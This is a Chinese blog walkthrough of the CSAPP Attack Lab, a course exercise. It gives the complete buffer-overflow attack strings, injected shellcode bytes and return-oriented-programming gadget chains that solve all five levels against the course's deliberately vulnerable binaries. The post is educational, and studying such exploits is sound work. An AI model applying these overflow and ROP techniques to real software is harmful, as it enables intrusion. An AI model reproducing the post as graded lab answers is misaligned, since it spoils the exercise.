文章目录
实验前准备
- 先完成bomblab?
- 阅读官方提供的实验手册:attacklab.pdf
- 了解x86-64下函数调用的过程

实验简介
我们可以获取到两个 x86-64 二进制可执行文件,称为目标(targets),它们包含缓冲区溢出错误。一个目标存在代码注入攻击漏洞。另一个存在面向返回的编程(ROP,return-oriented programming)攻击漏洞。要求基于代码注入或 ROP,开发漏洞利用,修改目标的行为。通过该实验,可以学习到堆栈的规则,以及编写有缓冲区溢出漏洞的代码的危险。
两个目标程序ctarget和rtarget都会从标准输入中读入字符串,通过getbuf函数来读取:
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
我们实验中会通过输入超过BUFFER_SIZE长度的字符串,来改变程序的执行行为。
两个程序都可以接收命令行参数:

运行程序的时候要加-q选项
编写好攻击字符串之后可以通过hexdraw将字符串转为2进制格式

代码注入攻击
Level 1: 调用touch1
该阶段不需要注入新的代码,攻击字符串只需要让程序转为去调用touch1就行。
程序执行时执行test函数,然后在test里调用getbuf。
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
然后touch1的实现如下:
void touch1()
{
vlevel = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
所以我们的攻击字符串破坏堆栈也没关系,因为执行到touch1就会调用exit(0)正常退出了,不会再返回。
首先用objdump -d反汇编ctarget,然后看一下getbuf的实现:

可以看到缓冲区的大小为0x28,这里可以简单画一下执行到getbuf并分配缓冲区后的栈帧图示:

缓冲区大小为0x28,所以我们要输入长度为0x30的字符串来覆盖掉原来的返回地址,将返回地址改为touch1函数的首地址,这里看一下touch1的首地址:

构造攻击字符串如下:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* 上面0x28个字节,覆盖掉原来缓冲区 */
c0 17 40 00 00 00 00 00 /* touch1函数首地址, 注意写成小端字节序 */
然后用hex2raw处理一下,然后执行ctarget,可以看到成功使得程序执行touch1

Level 2: 输入一个参数调用touch2
本阶段需要注入在攻击字符串中注入少量代码,touch2的实现如下:
void touch2(unsigned val)
{
vlevel = 2;
if(val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
}
exit(0);
}
touch2需要传入一个参数,x86-64的调用约定中,函数的第一个参数通过寄存器rdi传入,这意味着我们注入的攻击字符串要能将cookie值存储到rdi寄存器中才能使touch2正确打印。
cookie值就是拿到的自学材料里的cookie.txt里的值
0x59b997fa
我们需要执行如下汇编代码,来讲cookie值存到rdi,然后ret到touch2函数处:
movl $0x59b997fa, %edi
pushq $0x00000000004017ec
ret
关键是这段代码要放在哪里?可以放在缓冲区里,然后让程序从getbuf中ret到缓冲区中的相应地址处,然后执行上述代码。可以这样做是因为程序ctarget的运行栈地址是固定的,我们可以知道缓冲区的首地址,这里通过gdb查看一下,得到缓冲区的首地址0x5561dc78:

我们用gcc编译以下我们上面要注入的代码,然后反汇编得到对应的指令的16进制表示:

然后构造攻击字符串如下:
bf fa 97 b9 59 68 ec 17 /* 注入的代码*/
40 00 c3 00 00 00 00 00 /* 注入的代码*/
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* 上面覆盖掉缓冲区 */
78 dc 61 55 00 00 00 00 /* 跳转到缓冲区首地址执行攻击代码 */
hex2draw处理后作为输入执行ctarget:

Level 3: 输入一个字符串调用touch3
本阶段还是要注入一些攻击代码,不过touch3接收的是一个字符串的地址,这意味着我们的攻击字符串要把符合要求的字符串存在栈上,然后把字符串的首地址存在rdi寄存器传入。
先看touch3的实现:
void touch3(char *sval)
{
vlevel = 3;
if(hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
然后hexmatch的实现如下:
int hexmatch(unsigned val, char* sval)
{
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
所以构造出来的字符串应该是cookie的16进制形式的字符串59b997fa,然后用\0结尾。
所以注入的攻击代码应该是下面这样:
movl ?, %edi
pushq $0x00000000004018fa ; touch3入口地址
ret
这里?代表的是字符串地址还未确定,把这个字符串放在rsp的返回地址之后:

那么字符串的地址就是rsp+0x30 = 0x5561dc78 + 0x30 = 0x5561dca8,得到攻击代码:
movl $0x5561dca8, %edi
pushq $0x00000000004018fa
ret
gcc编译后用objdump反汇编:

构造攻击字符串如下:
bf a8 dc 61 55 68 fa 18 /* 攻击代码 */
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* 上面覆盖掉缓冲区 */
78 dc 61 55 00 00 00 00 /* 跳转到缓冲区首地址执行攻击代码 */
35 39 62 39 39 37 66 61 /* cookie的字符串的ascll码表示 */
00 /* '\0'字符结尾 */
hex2raw处理后执行ctarget:

面向返回编程
相比于ctarget,rtarget在编译的时候采用了两种技术来防止缓冲区溢出攻击:
- 栈地址随机化:程序运行时的栈地址是随机的,这意味着注入攻击代码的方式很难生效,因为不知道注入后,在栈上的代码的实际地址。
- 栈段指令不可执行:将堆栈部分的内存设置为不可执行的,这样即使能知道实际的栈地址,在执行指令时也会触发段错误。
但即使这样,还是有办法做到缓冲区溢出攻击的,那就是通过程序中已有的指令来执行攻击:

程序中有些指令片段可能可以凑出有效的指令,再加上ret指令就可以构成一个个用于攻击的代码片段或者叫做小工具。
rtarget里面包含了一些这样的小工具,它们的源码文件为farm.c,在自学材料里面有附带:

就比如函数setval_210,编译后的指令片段里面包含指令movq %rax, %rdi:

farm.c还有其它函数编译后的指令包含了这样可用于组成攻击代码的小工具,我们可以用这些小工具来完成Level 4和Level 5。
实验材料里给我们提供了对照表:

可以按照对照表在farm.c里面找相应的代码片段,看到这些指令应该是48、58、89、20、08、38和84开头的,对着在rtarget的反汇编文件中找,注意这些指令最后一定要是c3(中间有nop对应90或者二字节指令也可以):
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 ret
000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 ret
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax ; 48 89 c7: movq %rax, %rdi ; 89 c7 : movl %eax, %edi
4019a6: c3 ret
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax ; 58: popq %rax
4019ad: c3 ret
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 ret
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 ret
00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 ret
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 ret
00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 ret
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax ; 89 c2: movl %eax, %edx
4019e0: c3 ret
00000000004019e1 <setval_296>:
4019e1: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
4019e7: c3 ret
00000000004019e8 <addval_113>:
4019e8: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
4019ee: c3 ret
00000000004019ef <addval_490>:
4019ef: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
4019f5: c3 ret
00000000004019f6 <getval_226>:
4019f6: b8 89 d1 48 c0 mov $0xc048d189,%eax
4019fb: c3 ret
00000000004019fc <setval_384>:
4019fc: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
401a02: c3 ret
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax ; 48 89 e0: movq %rsp, %rax ;89 e0: movl %esp, %eax
401a09: c3 ret
0000000000401a0a <setval_276>:
401a0a: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
401a10: c3 ret
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax ; 89 ce: movl %ecx, %esi
401a17: c3 ret
0000000000401a18 <getval_345>:
401a18: b8 48 89 e0 c1 mov $0xc1e08948,%eax
401a1d: c3 ret
0000000000401a1e <addval_479>:
401a1e: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
401a24: c3 ret
0000000000401a25 <addval_187>:
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 ret
0000000000401a2c <setval_248>:
401a2c: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
401a32: c3 ret
0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax ; 89 d1 38 c9 : movl %edx, %ecx , cmpb %cl
401a38: c3 ret
0000000000401a39 <addval_110>:
401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
401a3f: c3 ret
0000000000401a40 <addval_487>:
401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax
401a46: c3 ret
0000000000401a47 <addval_201>:
401a47: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
401a4d: c3 ret
0000000000401a4e <getval_272>:
401a4e: b8 99 d1 08 d2 mov $0xd208d199,%eax
401a53: c3 ret
0000000000401a54 <getval_155>:
401a54: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
401a59: c3 ret
0000000000401a5a <setval_299>:
401a5a: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
401a60: c3 ret
0000000000401a61 <addval_404>:
401a61: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
401a67: c3 ret
0000000000401a68 <getval_311>:
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax
401a6d: c3 ret
0000000000401a6e <setval_167>:
401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
401a74: c3 ret
0000000000401a75 <setval_328>:
401a75: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
401a7b: c3 ret
0000000000401a7c <setval_450>:
401a7c: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
401a82: c3 ret
0000000000401a83 <addval_358>:
401a83: 8d 87 08 89 e0 90 lea -0x6f1f76f8(%rdi),%eax
401a89: c3 ret
0000000000401a8a <addval_124>:
401a8a: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
401a90: c3 ret
0000000000401a91 <getval_169>:
401a91: b8 88 ce 20 c0 mov $0xc020ce88,%eax
401a96: c3 ret
0000000000401a97 <setval_181>:
401a97: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
401a9d: c3 ret
0000000000401a9e <addval_184>:
401a9e: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
401aa4: c3 ret
0000000000401aa5 <getval_472>:
401aa5: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
401aaa: c3 ret
0000000000401aab <setval_350>:
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
401ab1: c3 ret
0000000000401ab2 <end_farm>:
401ab2: b8 01 00 00 00 mov $0x1,%eax
可以凑出这些指令:
0x4019a2:movq %rax, %rdi0x4019a3:movl %eax, %edi0x4019ab:popq %rax0x4019dd:movl %eax, %edx0x401a06:movq %rsp, %rax0x401a07:movl %esp, %eax0x401a13:movl %ecx, %esi0x401a34:movl %edx,%ecx
Level 4:调用touch2
不同于Level 1,这次要通过ROP的方式调用到touch1,利用上面拼凑出的指令,可以使用如下的汇编代码将cookie存到%rdi:
popq %rax
movq %rax, %rdi
ret
但这样我们先要把cookie值先放到栈上,这样才能pop出cookie值:

于是构造如下攻击字符串:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* 上面覆盖掉缓冲区 */
ab 19 40 00 00 00 00 00 /* 指令 popq %rax 的地址*/
fa 97 b9 59 00 00 00 00 /* cookie值 */
a2 19 40 00 00 00 00 00 /* 指令 movq %rax, %rdi 的地址 */
ec 17 40 00 00 00 00 00 /* 函数touch2的地址 */
hex2raw处理后执行rtarget:

Level 5:调用touch3
也一样,要将字符串存在栈上,但这次只能利用已有的指令了,官方文档里面写到官方解答用了8个代码片段。
首先跟Level 3一样,字符串要存在栈顶,这意味着%rdi是%rsp + x的形式,但是我们上面从farm.c里拼凑的片段里没有能执行加法的指令。但是回去看原来的指令,add_xy函数里面执行的就是加法操作,这里因为传入两个参数,并没有像之前的addval_xxx函数一样把操作数写死,用的是lea指令来实现加法:

那么,就有了可用的加法指令了。
然后偏移量是多少取决于我们得用多少条指令把字符串的地址传递给%rdi寄存器。

上面的指令片段里,我们可以将当前%rsp先存到%rdi:
movq %rsp, %rax
movq %rax, %rdi
然后再将偏移量弹到rax中,再将偏移量用地址加载指令lea (%rdi,%rsi,1), %rax加到rdi寄存器上,但是现在偏移量存储在%rax中,我们可用的指令里没有直接将%rax值存到%rdi寄存器的指令,只能通过%rax->%edx->%ecx->esi的方式间接传递:
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
lea (%rdi,%rsi,1), %rax
构造出来的缓冲区如下:

那么偏移量X应该为0x48,对应的攻击代码为
movq %rsp, %rax
movq %rax, %rdi
popq %rax
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
lea (%rsi,%rdi,1) %rax
movq %rax,%rdi
构造攻击字符串如下:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* 上面覆盖掉缓冲区 */
ad 1a 40 00 00 00 00 00 /* 指令 movq %rsp, %rax 的地址 */
a2 19 40 00 00 00 00 00 /* 指令 movq %rax, %rdi 的地址 */
ab 19 40 00 00 00 00 00 /* 指令 popq %rax 的地址 */
48 00 00 00 00 00 00 00 /* 偏移量 */
dd 19 40 00 00 00 00 00 /* 指令 movl %eax, %edx 的地址 */
34 1a 40 00 00 00 00 00 /* 指令 %edx, %ecx */
13 1a 40 00 00 00 00 00 /* 指令 movl %ecx, %esi 的地址 */
d6 19 40 00 00 00 00 00 /* 指令 lea (%rsi,%rdi,1) %rax 的地址 */
a2 19 40 00 00 00 00 00 /* 指令 movq %rax,%rdi */
fa 18 40 00 00 00 00 00 /* 函数 touch3 的地址 */
35 39 62 39 39 37 66 61 /* cookie对应的字符串 */
00 /* 空字符*/
hex2raw处理后执行rtarget:

总结
通过这个实验对函数调用过程中的栈帧构造过程了解更深了,还有就是比如gets这类函数引发的安全问题,然后在攻击方式中感觉ROP这个方法真的很巧妙。
参考资料
计算机系统基础(二):程序的执行和存储访问_南京大学_中国大学MOOC(慕课) (icourse163.org)
第 3 章:程序的机器级表示 | 深入理解计算机系统(CSAPP) (gitbook.io)
实验 3:Attack Lab | 深入理解计算机系统(CSAPP) (gitbook.io)
x86_64架构下的函数调用及栈帧原理 - 知乎 (zhihu.com)
该博客围绕x86-64二进制可执行文件的缓冲区溢出攻击实验展开。先介绍实验准备与简介,接着阐述代码注入攻击的三个级别及面向返回编程的两个级别攻击方法,最后总结实验收获,加深了对栈帧构造和函数安全问题的理解。
1615





